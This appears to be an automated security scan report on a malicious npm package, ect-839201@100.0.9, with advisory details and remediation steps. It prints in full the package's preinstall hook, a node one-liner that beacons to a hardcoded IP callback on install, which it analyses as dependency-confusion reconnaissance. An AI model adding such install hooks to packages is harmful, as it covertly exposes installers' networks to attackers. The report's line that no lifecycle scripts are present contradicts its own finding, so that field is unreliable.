OpenSSF/OSV advisory MAL-2026-5720 confirms this npm version as malicious. package.json declares a preinstall lifecycle hook that runs \`node -e "require('http').get('http://10.107.121.85:8001/callback\_839201')"\` on \`npm install\`. This unconditionally issues an HTTP GET to a hardcoded RFC1918 address (10.107.121.85:8001) over plaintext, with a path (\`/callback\_839201\`) that encodes a unique per-package probe identifier... ## Latest scan - **Scanner version:** external-osv-malicious-v1 - **Recorded final verdict:** Malicious - **Recorded analysis confidence:** 100.0% - **Started:** 2026-06-30T15:00:00.099Z - **Finished:** 2026-06-30T15:00:00.099Z - **Download time:** Not available - **Static scan time:** Not available - **AI review time:** Not available - **Total time:** Not available The recorded confidence comes from the underlying analysis. Trusted advisory policy can determine the final verdict even when the AI assessment differs. ## Security analysis No additional public attack-surface or AI-review details are available. ## Affected versions and remediation This report applies to ect-839201@100.0.9. - Avoid installing ect-839201@100.0.9. Remove it from direct dependencies and check your lockfile for transitive copies. - Choose an independently verified alternative or release. This report does not establish that other versions are safe. - If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment. ## Public findings ### 1. High: Osv Malicious Advisory - **Category:** External Intel - **Confidence:** 100.0% package.json declares a preinstall lifecycle hook that runs \`node -e "require('http').get('http://10.107.121.85:8001/callback\_839201')"\` on \`npm install\`. This unconditionally issues an HTTP GET to a hardcoded RFC1918 address (10.107.121.85:8001) over plaintext, with a path (\`/callback\_839201\`) that encodes a unique per-package probe identifier. The behavior fires automatically as part of the install lifecycle with no opt-in. The combination of (a) a bare-IP, non-publisher destination, (b) a unique callback identifier matched to the package name, and (c) plaintext HTTP on an internal/private network is the canonical dependency-confusion reconnaissance beacon: it confirms reachability from the installer's network into an attacker-controlled listener and leaks the installer's source IP, install timing, and the fact that this specific probe package resolved inside the target environment. Even though the captured request body is empty, the install itself is the signal — successful callbacks identify victim networks for follow-on attacks. \#\# Source: ghsa-malware (c197c5ca663d17b7e5066105f3ba265586a2f5eee6a3d7182964e53e909f2c06) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it. ## Dependencies and install lifecycle - **Lifecycle scripts present:** No - **Dependencies:** 0 - **Optional dependencies:** 0 - **Peer dependencies:** 0 - **Development dependencies:** 0 - **Published dependency-graph edges:** 0 ## Package metadata - **Package:** ect-839201 - **Ecosystem:** npm - **Version:** 100.0.9 - **Version published:** Not available - **Package first seen:** 2026-06-30T15:00:00.099Z - **Package last seen:** 2026-06-30T15:00:00.099Z - **Known versions:** 11 - **Latest version:** 100.0.9 - **Appeal under review:** No ## References - [HTML security report]() - [OpenSSF/OSV advisory]() - [OpenSSF JSON]() - [PACKAGE]() - [PACKAGE]() - [PACKAGE]() - [PACKAGE]() - [PACKAGE]() - [PACKAGE]() - [PACKAGE]() - [PACKAGE]() - [PACKAGE]() - [PACKAGE]() - [PACKAGE]() - [ADVISORY]()
